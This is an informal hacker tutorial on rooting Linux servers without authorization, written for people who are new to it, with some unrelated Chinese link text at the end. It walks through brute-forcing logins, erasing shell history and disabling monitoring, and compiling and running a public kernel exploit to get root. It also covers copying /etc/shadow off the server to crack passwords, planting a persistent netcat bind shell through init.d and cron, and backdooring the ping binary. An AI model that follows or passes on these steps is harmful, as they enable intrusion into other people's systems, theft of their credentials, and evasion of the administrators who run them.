So you want to root a linux system? But, you don't know shit about it?

Well, this guide is for you.

Tools covered by this guide
-----------------------
netcat [utility for creating a backdoor shell, but can be used for a plethora of other things]
gcc [c program compiler, the heart of exploits]
rm [for clearing those pesky logs]
other basic commands [ls, grep, vi (cool people use vi), etc etc.]

Step one [Getting in]
----------------------

Getting access to an exploitable server.

Believe it or not, this isn't as hard as it sounds, generally most webpages run on one of two operating systems:
a *nix derivative [BSD, Debian, Ubuntu, etc] or windows server

Most servers are simple "guess a password or bruteforce until you get in".

Step two [Basic Recon and Log Clearing]
-------------------------

So, you've accessed a server under a lowly user account, great.
You're probably saying to yourself "Time to exploit and get this shit going."
Well, if you want to get caught and your access removed, go right on ahead, otherwise, we got some shit to cover.

a) You want to get rid of .bash_history [or .sh_history for BSD], on your local account.

There are two methods to do this:

ln -s ./.bash_history /dev/null

This invokes the link command to link ./.bash_history [you're current working directory, which if you followed my commands, is your exploited users home dir] to /dev/null, which in essence, is nothing.

and, my favourite:

ln -s ./.bash_history /dev/urandom

which links .bash_history to /dev/urandom, which is a large file that contains nothing but gibberish.

If an unwitting sysadmin were to grep it, they could potentially crash their ssh app [if it's putty], or in my personal experiences, cause weird graphical glitches that would remain until you restarted the ssh client.

you want to check for any monitoring software and either break it or do commands that would make it not monitor your exploits.

pretty self-explanitory, anything that logs your login-address or your commands needs to be eradicated, sometimes it's as simple as sshing again into localhost to confuse the program into thinking you are a local user, or useing a known exploit against the program. Be creative, I say.

If you can't take care of the problem now, it's best to wait until you get root to achieve them.

Recon
---------

Now, the fun [yeah right] part.

It's time to dig through files looking for exploitable code.

generally this is as easy as typing "uname -a" which shows you the current kernel version of your system.

but, sometimes its pouring over every file on the server looking for a known exploit

And sometimes it even coding your own [Which I won't get into now]

Exploitiing
--------

So, you've found exploitable software, that has a public exploit.

Let's exploit it!

Example exploit scenario:

The server is running Kernel version 2.6.8.1-12

[unamed@secret_server unamed]$ uname -a
Linux unamed.server.net 2.6.8.1-12mdkenterprise #1 SMP Fri Jan 3 66:66:66 CEST 2666 i686 Intel® Xeon™ CPU 2.80GHz unknown GNU/Linux

A simple search at milw0rm reveals that this version is severely exploitable.

we proceed to use http://milw0rm.com/exploits/9479 to attempt to exploit it.

we place the code into a file using vi

[unamed@secret_server unamed]$ vi ex.c

and attempt to compile it

[unamed@secret_server unamed]$ gcc ex.c -o ex
[unamed@secret_server unamed]$

wonderful, it gives us a blank line, meaning no errors.

Alright now for the big moment, attempting to run it!

[unamed@secret_server unamed]$ ./ex
[root@secret_server unamed]$

woo, we have root!

end basic scenario

most of the times, it really is that easy, so many programs are on a single system, that it is very difficult for the average person to keep everything patched and updated.

Keeping root
--------------

So, you're in, you're root, you're god.

But, that can go away any second.

we want to set up several ways to keep root

a) copy /etc/shadow to a place where you can attempt to crack it.

This is most likely done on your own system, keep the users in-case the one you are using isn't able to access

set up netcat on a port, and add it to autostart if it's killed

this is easy

we first type "nc -L -p <port> -e /bin/sh &" as root

this tells netcat to listen on <port> and execute /bin/sh on a connection, the & tells it to run in the background.
but, what if the sysadmin finds that and kills it?

simple we add that command to /etc/init.d which would run the command if it's killed.

if you want to get more creative, add it to a cron job and add "echo nc -L -p 12345 -e /bin/sh & >> /etc/init.d" to a cron job as well.

c) (optional) backdooring a program.

my personal favourite is using a code patch to ping, which is accessible by everyone, to have a secret trigger that, when used, would give me root. This is just in case the admin patches your exploit(s), leaving you rootless.

again, ln root's .bash_history to /dev/null or /dev/urandom, kill any logger programs, and enjoy your new system.

FAQ
---------
1)Q: HOW DOES I LINUX, I R WINDURS!

A: http://lmgtfy.com/?q=Linux+Tutorial

2)Q: Only skiddies use pre-defined code, you are a n00b!

A: Not a question but, would you build your own TV, House, Car, etc, from scratch? No? Then why reinvent the wheel? The exploits are there for me to use, not for me to nod in appreciation and build my own.

3)Q: Why doesn't my system do <insert command>?

A: sysadmin probably blocked it, find another way or another system.

4)Q: Can you hack <x>?

A: No.

------------

Finale:

Don't be afraid to explore, try different ways of evading the sysadmin. The worst that can happen is they'll lock you out, if you are using a proxy [which you honestly should].

Rooting A Linux System 101相关推荐

  1. 学习 Linux,101: 引导程序

    概述 在本文中,学习如何为一个 Linux 系统设计一个磁盘分区布局.您将学习: 为独立的分区或磁盘分配文件系统和交换空间: 根据系统的预定用途调整设计: 确保系统能够启动. 本文讨论 PC 引导过程 ...

  2. 学习 Linux,101: 引导系统

    2019独角兽企业重金招聘Python工程师标准>>> 系列文章: http://www.ibm.com/developerworks/cn/views/linux/libraryv ...

  3. Linux System and Performance Monitoring(Memory篇)

    转载于:http://www.ourlinux.net/operating-system/operating-system/linux-system-and-performance-monitorin ...

  4. Linux System and Performance Monitoring

    Linux System and Performance Monitoring 转载于:https://blog.51cto.com/gavinshaw/273692

  5. 一文说清linux system load

    简介:双十一压测过程中,常见的问题之一就是load 飙高,通常这个时候业务上都有受影响,比如服务rt飙高,比如机器无法登录,比如机器上执行命令hang住等等.本文就来说说,什么是load,load是怎 ...

  6. 学习 Linux,101: 使用 vi 编辑文件

    总是可用的编辑器 了解如何使用 vi 编辑器,这款编辑器在大部分 UNIX® 和 Linux® 系统中都存在.本文提供的材料可以帮助您准备 Linux 系统管理员认证 LPI 101 考试,也可以作为 ...

  7. 学习 Linux,101: 使用正则表达式搜索文本文件

    学习 Linux,101: 使用正则表达式搜索文本文件 概述 本文深入介绍基础的 Linux 进程管理技术.您将学习如何: 创建简单的正则表达式 使用正则表达式搜索文件和文件系统 使用正则表达式和 s ...

  8. Wakeup linux system from sleep mode

    Wakeup linux system from sleep mode v0.01 20190831 Init 1. wakeup souces Linux System进入sleep状态之后,需要有 ...

  9. linux system 和 execl 函数对比

    linux system 和 execl 函数对比 1. system()函数 1.1 system 函数的具体执行步骤 1.1.1 system 源码实现 1.2 system 执行成功 1.3 s ...

最新文章

  1. 服务器 'xxxx' 已被定义为分发服务器。若要将该服务器重新配置为分发服务器,必须首先卸载现有的分发服务...
  2. Git使用入门 - 在Git上新建项目
  3. vue+element-ui实现表格的增删改查
  4. 编写ShellCode
  5. 基本运算符与if while详解:
  6. 【干货分享】前端面试知识点锦集02(CSS篇)——附答案
  7. 阿里开源mysql日志_使用过mysql的binlog吗?看看如何用binlog排查阿里开源项目otter的问题...
  8. SeaJS项目完整实例【转】
  9. 苹果锁定计算机的快捷键,苹果电脑快捷键使用 Mac快捷键大全详细介绍
  10. matlab可达矩阵 结果,matlab可达矩阵
  11. 菜鸟教程 linux ubuntu,菜鸟教程 Ubuntu 11.0下搭建Web服务器
  12. 初谈黑客破解密码的原理
  13. 这是一片求助帖——关于梆梆加固企业版的托克修复问题
  14. Python实现对比两个Excel数据内容并标出不同
  15. Cesium 贝塞尔曲线、抛物线(笔记)
  16. 2022年高处安装、维护、拆除操作证考试题库及答案
  17. 从0到1搭建电商营销数据分析平台(一)
  18. vue3+ts+amap/amap-jsapi-loader实现高德地图搜索选取地点
  19. SpringBoot实现文件上传
  20. html让文本框左剧中对齐_Python批量设置pptx文件中文本框边框与填充样式(含20分钟视频讲解)...

热门文章

  1. 在外文paper写作中,英文杂志以及英文会议缩写名称怎么查找
  2. 鏖战双十一:阿里直播平台面临的技术挑战
  3. 怎么压缩word文档大小?
  4. 使用rest_framework的routers模块添加路由
  5. 苹果这波是要偷家啊。。
  6. MFC 利用小型数据库Access 少步惆 教你用VC开发
  7. hp服务器的网络显示红叉,惠普笔记本白屏后重启后显示红叉网络信号联不上网的原因?...
  8. OpenCV读取显示图片报错size.width>0
  9. 【基于物理的渲染(PBR)白皮书】(五)几何函数相关总结
  10. 【介绍+代码实现】使用GradualWarmupScheduler进行学习率预热